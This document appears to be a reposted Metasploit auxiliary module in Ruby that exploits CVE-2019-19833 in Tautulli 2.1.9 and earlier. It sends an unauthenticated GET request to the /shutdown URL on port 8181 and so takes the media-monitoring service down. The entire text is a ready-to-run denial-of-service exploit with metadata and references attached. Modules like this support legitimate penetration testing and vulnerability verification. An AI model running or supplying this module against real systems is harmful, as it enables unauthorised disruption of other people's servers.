Tautulli 2.1.9 Shutdown Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize  
super(  
'Name' => 'Tautulli v2.1.9 - Shutdown Denial of Service',  
'Description' => 'Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the /shutdown URL.',  
'Author' => 'Ismail Tasdelen',  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2019-19833'],  
['EDB', '47785']  
]  
)  
register_options([ Opt::RPORT(8181) ])  
end  
  
def run  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/shutdown'  
})  
  
if res  
print_status("Request sent to #{rhost}")  
else  
print_status("No reply from #{rhost}")  
end  
rescue Errno::ECONNRESET  
print_status('Connection reset')  
end  
end  
`